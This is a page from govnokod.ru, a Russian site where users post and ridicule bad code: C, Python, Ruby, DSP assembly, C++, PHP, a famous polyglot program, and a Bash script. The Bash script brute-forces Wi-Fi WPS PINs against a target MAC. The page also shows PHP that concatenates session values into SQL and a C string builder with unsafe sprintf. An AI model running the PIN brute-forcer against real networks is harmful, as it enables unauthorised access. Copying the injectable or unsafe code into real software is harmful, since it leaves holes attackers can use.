- 1
PHP - самое большое говно которое я встречал. Стив Джобс
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
−2
PHP - самое большое говно которое я встречал. Стив Джобс
−6
#include <stdio.h>
//аналог стрингбилдеру который есть в java!!!
#define NUM 1000 //максимальный размер строки
typedef struct {
char str[NUM];
} StringBuilder;
void append(StringBuilder *sb, char *str) //добавление строки
{
sprintf(sb->str, "%s%s", sb->str, str); //гениально и просто хули
}
void setLength(StringBuilder *sb, int s)
{
if(s > NUM || s < 0) return; //жуть
sb->str[s]='\0'; //гениальнетибл!
}
int main()
{
StringBuilder sb;
sprintf(sb.str, "Привет америкосам");
printf("%s\n", sb.str);
append(&sb, ", я вас уделаю!");
printf("%s\n", sb.str);
setLength(&sb, 2);
printf("%s\n", sb.str);
setLength(&sb, 0);
printf("%s\n", sb.str);
return 0;
}
понос или не понос вот в чем вопрос
+2
import os
import argparse
import sys
parser = argparse.ArgumentParser(description='tree')
parser.add_argument('path',type=str,)
parser.add_argument('-fo','--folders_only',action='store_true',)
parser.add_argument('-i','--include',type=str,action='store',)
parser.add_argument('-e','--exclude',type=str,action='store',)
parser.add_argument('-a','--all',action='store_true',)
parser.add_argument('-f','--full_name',action='store_true',)
args = parser.parse_args()
print(sys.argv[1])
if args.include:
itext = args.include
if args.exclude:
etext = args.exclude
def divine_crutch(path, n):
dir = os.listdir(path)
for i in range(len(dir)):
if os.path.isfile(path + '\\' + dir[i]):
if not(args.folders_only):
if not(args.include and itext not in dir[i]):
if not(args.exclude and etext in dir[i]):
if not(not(args.all) and dir[i][0] == '.') and not(args.full_name):
print(n*' ', dir[i])
elif args.full_name and not(not(args.all) and dir[i][0] == '.'):
print(n*' ' ,path + '\\' + dir[i])
if os.path.isdir(path + '\\' + dir[i]):
if not(not(args.all) and dir[i][0] == '.') and not(args.full_name):
print(n*' ', dir[i])
elif args.full_name and not(not(args.all) and dir[i][0] == '.'):
print(n*' ' ,path + '\\' + dir[i])
n += 4
divine_crutch(path + '\\' + dir[i], n)
n -= 4
divine_crutch(sys.argv[1], 4)
Рекурсивный велосипед на костыльной тяге. Сей экземпляр является "аналогом системной утилиты tree под линукс". При подходящей фазе луны и выполнении условий ритуала чёрной магии, способен захавать 16 гигов оперативки и крашнуть систему. Прекрасный способ выстрелить в ногу на питоне. Достойное место в моей кунсткамере.
+1
def with_batched_ids(count, ids)
if ids.is_a? Array
if ids.length > 1
ids.each_slice(count) do |ids|
yield(ids)
end
else
yield(ids)
end
else
yield(ids)
end
end
Заshitное программирование и просто красивая портянка из yield - end - else. Как на ровном месте придумать целый метод.
+1
tms код DSP пример MMACF32
msubf32 MR1,MR1,MR2 ;
|| mmov32 @point14,mr0 ;
mmov32 @point15,mr1 ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mmov32 mr2,@point01 ; 01
msubf32 mr2,mr2,mr1 ; 01-15
|| mmov32 mr1,@_cos2 ; B
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mmpyf32 mr2,mr2,mr1 ;mr2=(01-15)B
|| mmov32 mr1,@point02 ; 02
msubf32 mr0,mr1,mr0 ;mr0=(02-14)
|| mmov32 mr1,@_cos4 ; C
mmov32 mr3,@point00 ; 00
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mmacf32 mr3,mr2,mr2,mr1,mr0 ;mr3=00+(01-15)B mr2=(02-14)C
|| mmov32 mr0,@point03 ;
mmov32 mr1,@point13 ;
msubf32 mr0,mr0,mr1 ;
|| mmov32 mr1,@_cos6 ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
mmacf32 mr3,mr2,mr2,mr1,mr0 ;mr3=00+(01-15)B+(02-14)C mr2=(03-13)D
|| mmov32 mr0,@point05 ;
mmov32 mr1,@point11 ;
msubf32 mr0,mr0,mr1 ;
|| mmov32 mr1,@_cos10 ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
...............
+2
string shifarhex(string count)
{
string take,take2;
string getch1;
getch1=count;
string sub1 = "0000";//2 to 3 31
unsigned int pos1 = getch1.find(sub1,0);
if(pos1 != string::npos)
{
take2="0";
}
string sub2 = "0001";//2 to 3 31
unsigned int pos2 = getch1.find(sub2,0);
if(pos2 != string::npos)
{
take2="1";
}
string sub3 = "0010";//2 to 3 31
unsigned int pos3 = getch1.find(sub3,0);
if(pos3 != string::npos)
{
take2="2";
}
string sub4 = "0011";//2 to 3 31
unsigned int pos4 = getch1.find(sub4,0);
if(pos4 != string::npos)
{
take2="3";
}
string sub5 = "0100";//2 to 3 31
unsigned int pos5 = getch1.find(sub5,0);
if(pos5 != string::npos)
{
take2="4";
}
string sub6 = "0101";//2 to 3 31
unsigned int pos6 = getch1.find(sub6,0);
if(pos6 != string::npos)
{
take2="5";
}
string sub7 = "0110";//2 to 3 31
unsigned int pos7 = getch1.find(sub7,0);
if(pos7 != string::npos)
{
take2="6";
}
string sub8 = "0111";//2 to 3 31
unsigned int pos8 = getch1.find(sub8,0);
if(pos8 != string::npos)
{
take2="7";
}
string sub9 = "1000";//2 to 3 31
unsigned int pos9 = getch1.find(sub9,0);
if(pos9 != string::npos)
{
take2="8";
}
string sub10 = "1001";//2 to 3 31
unsigned int pos10 = getch1.find(sub10,0);
if(pos10 != string::npos)
{
take2="9";
}
string sub11 = "1010";//2 to 3 31
unsigned int pos11 = getch1.find(sub11,0);
if(pos11 != string::npos)
{
take2="A";
}
string sub12 = "1011";//2 to 3 31
unsigned int pos12 = getch1.find(sub12,0);
if(pos12 != string::npos)
{
take2="B";
}
string sub13 = "1100";//2 to 3 31
unsigned int pos13 = getch1.find(sub13,0);
if(pos13 != string::npos)
{
take2="B";
}
string sub14 = "1101";//2 to 3 31
unsigned int pos14 = getch1.find(sub14,0);
if(pos14 != string::npos)
{
take2="D";
}
string sub15 = "1110";//2 to 3 31
unsigned int pos15 = getch1.find(sub15,0);
...
http://www.sql.ru/forum/1269897/delaem-arhivator
Вореционное зожатие битов
+1
(*O/*_/
Cu #%* )pop mark/CuG 4 def/# 2 def%%%%@@P[TX---P\P_SXPY!Ex(mx2ex("SX!Ex4P)Ex=
CuG #%* *+Ex=
CuG #%*------------------------------------------------------------------*+Ex=
CuG #%* POLYGLOT - a program in eight languages 15 February 1991 *+Ex=
CuG #%* 10th Anniversary Edition 1 December 2001 *+Ex=
CuG #%* *+Ex=
CuG #%* Written by Kevin Bungard, Peter Lisle, and Chris Tham *+Ex=
CuG #%* *+Ex=
CuG #%* Polyglot suports the following languages: *+Ex=
CuG #%* 1. COBOL (ANSI) *+Ex=
CuG #%* 2. Pascal (ISO) *+Ex=
CuG #%* 3. Fortran (ANSI, f77) *+Ex=
CuG #%* 4. C (ANSI-ish) *+Ex=
CuG #%* 5. PostScript *+Ex=
CuG #%* 6. Linux/Unix shell script (bash, sh, csh) *+Ex=
CuG #%* 7. x86 machine language (MS-DOS, Win32, Linux) *+Ex=
CuG #%* 8. Perl (version 5) *+Ex=
CuG #%* *+Ex=
CuG #%* Usage: *+Ex=
CuG #%* 1. Rename this file to polyglot.[cob|pas|f77|c|ps|sh|com|pl] *+Ex=
CuG #%* *+Ex=
CuG #%* 2. Compile and run with your favorite compiler and operating *+Ex=
CuG #%* system. *+Ex=
CuG #%* *+Ex=
CuG #%* Notes: *+Ex=
CuG #%* 1. We have attempted to use only standard language features. *+Ex=
CuG #%* *+Ex=
CuG #%* 2. Without the -traditional flag gcc will issue a warning. *+Ex=
CuG #%* *+Ex=
CuG #%* 3. When transferring from Unix to DOS make sure that a LF *+Ex=
CuG #%* is correctly translated into a CR/LF. *+Ex=
CuG #%* *+Ex=
CuG #%* 4. Keep the black lines at the start of the program. They *+Ex=
CuG #%* are important. *+Ex=
CuG #%* *+Ex=
CuG #%* 5. This text is a comment block in all eight languages. *+Ex=
CuG #%* *+Ex=
CuG #%* Please mail any comments, corrections or additions to *+Ex=
CuG #%* [email protected] *+Ex=
CuG #%* *+Ex=
CuG #%*------------------------------------------------------------------*QuZ=
CuG #%* *+Ex=
CuG #%*!Mx)ExQX5ZZ5SSP5n*5X!)Ex+ExPQXH,B+ExP[-9A-9B(g?(gA'UTTER_XYZZXX!X *+
CuG #(* *(
C # */); /*(
C # *) program polyglot (output); (*+
C # identification division.
C # program-id. polyglot.
C #
C # data division.
C # procedure division.
C #
C # * ))cleartomark /Bookman-Demi findfont 36 scalefont setfont (
C # * (
C #
C # * hello polyglots$
C # main.
C # perform
C /# * ) 2>_$$; echo "hello polyglots"; rm _$$; exit;
C # * (
C #
C *0 ) unless print "hello polyglots\n"; __END__
print
C stop run.
-*, 'hello polyglots'
C
C print.
C display "hello polyglots". (
C */ int i; /*
C */ main () { /*
C */ i=printf ("hello polyglots\n"); O= &i; return *O; /*
C *) (*
C *) begin (*
C *) writeln ('hello polyglots'); (*
C *) (* )
C * ) pop 60 360 (
C * ) pop moveto (hello polyglots) show (
C * ) pop showpage ((
C *)
end .(* )
C)pop% program polyglot. *){*/}
C: https://ideone.com/LzLeJH
Pascal (gpc): https://ideone.com/J7VAQk
Perl: https://ideone.com/AmODLG
К сожалению, не все языки удалось проверить имеющимися интерпретаторами/компиляторами.
0
if ($session_data['iam']) {
$newparam = $param = " AND member_gender = '" . $session_data['iam'] . "' ";
}
if ($session_data['add_title_new']) {
$newparam = $param = " AND member_name like '%" . $session_data['add_title_new'] . "%' ";
}
if ($session_data['i_am']) {
$param = " AND member_gender = '" . $session_data['i_am'] . "' ";
}
if ($session_data['looking']) {
$newparam .= $param .= " AND member_looking_for = '" . $session_data['looking'] . "' ";
}
if ($session_data['agefrom'] != '0' && $session_data['agefrom'] != '') {
$param .= " AND partner_age_range_from = '" . $session_data['agefrom'] . "' ";
}
Ладно, зачем-то присваивание сразу двух переменных, которые названы совершенно невнятно. Но что делает .= $param .= я вообще боюсь представить (и честно говоря лень проверять)
−2
public static function getItemGrid($settings, $site_width, $columns) {
$products_per_row_xs = Journal2Utils::getProperty($settings, 'mobile.value', 1);
$products_per_row_sm = Journal2Utils::getProperty($settings, 'mobile1.value', 2);
if ($columns == 1) {
$products_per_row_md = Journal2Utils::getProperty($settings, 'tablet1.value', 2);
} else if ($columns == 2) {
$products_per_row_md = Journal2Utils::getProperty($settings, 'tablet2.value', 1);
} else {
$products_per_row_md = Journal2Utils::getProperty($settings, 'tablet.value', 3);
}
if ($columns == 1) {
$products_per_row_lg = Journal2Utils::getProperty($settings, 'desktop1.value', 4);
} else if ($columns == 2) {
$products_per_row_lg = Journal2Utils::getProperty($settings, 'desktop2.value', 3);
} else {
$products_per_row_lg = Journal2Utils::getProperty($settings, 'desktop.value', 5);
}
if ($columns == 1) {
$products_per_row_xl = Journal2Utils::getProperty($settings, 'large_desktop1.value', 4);
} else if ($columns == 2) {
$products_per_row_xl = Journal2Utils::getProperty($settings, 'large_desktop2.value', 3);
} else {
$products_per_row_xl = Journal2Utils::getProperty($settings, 'large_desktop.value', 5);
}
return array(
'xs' => $products_per_row_xs,
'sm' => $products_per_row_sm,
'md' => $products_per_row_md,
'lg' => $products_per_row_lg,
'xl' => $site_width > 1200 ? $products_per_row_xl : $products_per_row_lg
);
}
Метод из шаблона Journal в opencart
−1
#!/bin/bash
mac=$1
file=$2
count=$(cat $file|wc -l)
declare -i i=0
while ((i<count)); do
let tmp=i+1
pins[$i]=$(cat $file|head -$tmp|tail -1)
((i++))
done
((i=0))
while ((i<count)); do
echo "$i/$count"
echo "> wpa_cli wps_reg $mac ${pins[$i]}"
wpa_cli wps_reg $mac ${pins[$i]}
echo
sleep 3
iwconfig &>tmp
if grep -q $mac tmp; then
echo "Подключено! PIN: ${pins[$i]}"
rm tmp
exit 0
fi
((i++))
done
rm tmp
Это типа хактул
Похож на школопедища творение